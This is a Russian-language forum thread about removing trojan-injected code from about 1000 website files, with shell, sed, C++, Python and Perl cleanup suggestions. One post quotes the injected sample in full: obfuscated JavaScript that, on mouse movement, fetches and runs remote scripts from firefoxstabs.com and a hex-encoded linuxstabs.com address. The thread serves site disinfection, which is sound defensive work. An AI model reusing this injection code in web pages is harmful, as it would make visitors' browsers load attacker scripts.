шелл: удалить последовательность символов из конца файла

arturabramian

Вот такая задачка: на сайт зашел троян и изгадил кучу файлов, дописав туда левый код. Файлов 1000 штук, лежат в разных местах, так что руками чистить неохота. При этом есть два образца левого кода, часть сайтов заражены одним, другая часть - другим.
Имеется список поврежденных файлов, известна последовательность символов обоих образцов левого кода. Как наиболее просто, быстро и удобно удалить левый код из зараженных файлов?
Хотелось бы, конечно, такую скриптулину, чтобы складываешь в файлик bad_codes строчки плохого когда, натравливаешь ее на список файлов, и она все строчки кода во всех файлах из списка от конца затирает. Но че-то я пока не придумал легкий способ, как такое написать.
Пока придумалось только разделить все зараженные файлы на две кучи, для каждой строки левого кода посчитать длину, и в каждой куче отрезать у файлов по N и M байт с конца соответственно. Мое знание баш позволило мне изобрести только вот такого динозавра:
 
cat tmp | awk '{print NR"@"$0}' | sort -rnk1 | sed -E 's/[0-9]*@//' | rev | tail -c +100 | rev | awk '{print NR"@"$0}' | sort -rnk1 | sed -E 's/[0-9]*@//' > tmp2  

Т.е. я переставляю строки в обратном порядке через awk-sort-sed, потом переставляю символы в них rev'ом, отрезаю первые N символом tail'ом, и то же самое в обратном порядке. Эта штука даже работает. Но уж больно кривое решение, на мой взгляд.
Может, кто подскажет красивее?

elenangel

s/bad_code//g для всех файлов
не?

okis

есть утилита tac, она выводит строки в обратном порядке

arturabramian

вот с таким плохим кодом
document.write('<scr'+'ipt src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js"></scr'+'ipt>');var x = jQuery.noConflict(true);x(function {var flag = 0;x(window).mousemove(function {if (flag === 0) {flag = 1;x.getScript('http://firefoxstabs.com/' + Math.random.toString.substring(3) + '.js', function {flag = 2;});}});});var _0x5cb4=["\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x69\x6E\x75\x78\x73\x74\x61\x62\x73\x2E\x63\x6F\x6D\x2F","\x73\x75\x62\x73\x74\x72\x69\x6E\x67","\x72\x61\x6E\x64\x6F\x6D","\x2E\x6A\x73","\x6F\x6E\x6D\x6F\x75\x73\x65\x6D\x6F\x76\x65","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x74\x65\x78\x74\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x63\x6F\x6D\x70\x6C\x65\x74\x65","\x6F\x6E\x6C\x6F\x61\x64","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];(function {var _0x8dacx1=_0x5cb4[0]+Math[_0x5cb4[2]].toString[_0x5cb4[1]](3)+_0x5cb4[3];var _0x8dacx2=0;document[_0x5cb4[4]]=function {if(_0x8dacx2===0){_0x8dacx2=1;var _0x8dacx3=document[_0x5cb4[6]](_0x5cb4[5])[0];var _0x8dacx4=document[_0x5cb4[8]](_0x5cb4[7]);_0x8dacx4[_0x5cb4[9]]=_0x5cb4[10];_0x8dacx4[_0x5cb4[11]]=function {if(this[_0x5cb4[12]]==_0x5cb4[13]){_0x8dacx2=2;} ;} ;_0x8dacx4[_0x5cb4[14]]=function {_0x8dacx2=2;} ;_0x8dacx4[_0x5cb4[15]]=_0x8dacx1;_0x8dacx3[_0x5cb4[16]](_0x8dacx4);} ;} ;} ;  

не работает

arturabramian

у меня на сервере ее нету, а ставить ее к себе мне как-то даже не пришло сначала в голову.
Если "кошерного" способа не придумается, я ее просто поставлю и уберу связку awk-sort-sed. Но необходимость делить на две кучи все равно останется. С учетом того, что пароль от ФТП у нас регулярно про%%ывается, и проблема возникла не первый раз, хочется написать что-то более универсальное.

elenangel

а так:
s#badcod##g

arturabramian

$ cat tmp | sed -E 's#document.write('<scr'+'ipt  ... 

кажется, проблема не в разделителях s/// или @@ или s###, а в том, что в плохом коде херова туча апострофов. Меня ломает их все экранировать.

elenangel

ну тогда предлагаю тяжелую артиллерию
 
 #include <iostream>
#include <string>
using namespace std;

int main(int ac, char **av)
{
string filter,s;
getline(cin,filter);
while(!cin.eof
{
getline(cin,s);
int pos = s.find(filter);
if(pos != string::npos)
{
s.erase(pos);
}
cout<<s<<endl;
}

return 0;
}

g++ filter.cpp -o filter
 

for i in $(echo infected.txt); do cat badcode.txt >tmp; cat $i>>tmp; cat tmp|./filter>tmp1; mv tmp1 $i; done


P.S. лишнии пустые строки будут на месте удаленных. надеюсь, это не критично.
PPS. badcode.txt содержит единственную строку которую нужно удалить. программа читает стандартный ввод, запоминает первую строку и ищет ее в последующих строках. если найдет - стирает с найденной позиции до конца строки. обработанные строки печатает на стандартный вывод.
вообще по идее такое надо делать в данном случае на перле, но я его не знаю.

Serab

у меня на сервере ее нету, а ставить ее к себе мне как-то даже не пришло сначала в голову.

alias tac="sed -e '1\!G;h;\$\!d'"

alexkravchuk

Можно пойти дальше, вот на Питоне (2.6+ (или 2.5+ 3.x)
В каком-нибудь каталоге надо создать файлы, содержащие фрагменты, которые надо вычистить.
Если скрипт найдёт такой файл, то он переименует его в *.original, а поверх него запишет новый,
исправленный. Файлы с расширением original, и каталог с сигнатурами, не исправляется.
вызывать как:
python replacer.py --signatures=training/sign --path=training
По умолчанию, "--signatures" = каталог "sign" в текущей директории, path — текущий каталог.
Чтобы совсем правильно было, надо бы ещё добавить возможность сохранять владельца файла
(в случае, если скрипт из-под рута запускается но лень, она и в Африке лень :)

import os, os.path
from optparse import OptionParser

#########################################
def check_and_fix(file_location, sign_list):
if not file_location.endswith("original"):
file_content = ""
with open(file_location, "r") as ff:
file_content = ff.read
for z_sign in sign_list:
if(file_content.find(z_sign) != -1):
print("malwared file was found [%s]!" % os.path.realpath(file_location

# Saving original file. This "if" required because of the Windows specific
if(os.path.isfile(file_location+".original":
os.unlink(file_location+".original")
os.rename(file_location, file_location+".original")

# Fixing the file's content and save it
file_content = file_content.replace(z_sign, "")
with open(file_location, "w") as ff:
ff.write(file_content)
print("malwared file [%s] was fixed" % file_location)


#########################################

opp = OptionParser

opp.add_option("--signatures", dest="signatures", default="./sign",
help="Directory with the malware signatures")

opp.add_option("--path", dest="dir_to_fix", default=".",
help="Directory, where files should be fixed")

(opp_options, opp_args) = opp.parse_args
sign_path = opp_options.signatures

ll = os.listdir(sign_path)

sign_list = []

for fname in ll:
if os.path.isfile(sign_path+'/'+fname):
with open(sign_path+'/'+fname, "r") as ff:
sign_list.append(ff.read

wlist = os.walk(opp_options.dir_to_fix)
for t_dir in wlist:
# Processing in all directories, except the signatures directory tree
if not os.path.realpath(t_dir[0]).startswith(os.path.realpath(sign_path :
for t_file in t_dir[2]:
check_and_fix(t_dir[0]+'/'+t_file, sign_list)

serega1604

>Т.е. я переставляю строки в обратном порядке через awk-sort-sed, потом переставляю символы в них rev'ом, отрезаю первые N символом tail'ом, и то же самое в обратном порядке. Эта штука даже работает. Но уж больно кривое решение, на мой взгляд.
head -c -100
?

Serab

?
я — за

Serab

так у него там, кстати, используется tail -c +100, это наводит на размышления же

arturabramian

code:head -c -100
?
Это здорово упростило бы мне жизнь, но head, установленный на моем сервере, не понимает таких опций, он может только тупо head -c 100. А вот tail понимает.

arturabramian

alias tac="sed -e '1\!G;h;\$\!d'"
Мне пришлось в очередной раз поботать сед, это было полезно :) Бекслеши поубирал, потому что у меня на них командная строка ругалась. Еще мне не удалось прописать алиас почему-то :( видимо, я как-то неправильно пишу .профайл. Но в итоге я воспользовался именно этим вариантом.
Я успешно все вычистил при помощи этой команды и того, что было написано в первом посте. Всем спасибо за помощь :) , если меня заразят еще раз, тогда, наверное, заботаю питоний или плюсовый скрипт. Тут все-таки как-то много подготовительной возни получилось.

Serab

да я бэкслэши добавил уже когда оказался у компа с линуксом, сначала было без бэкслэшэй, так, идею хотел передать. Не обязательно же делать алиасом, можно функцию объявить, например.

function tac { sed -e '1!G;h;$!d' $@; }

Barbie29

find /usr/local/www/allsitecopy -name \*.html -print | xargs perl -p0i.bak -e 's/<\>(.*?)<\>//igsm'

apl13

alias tac="ghc -e 'getContents >>= putStr . unlines . reverse . lines'"

:o
Оставить комментарий
Имя или ник:
Комментарий: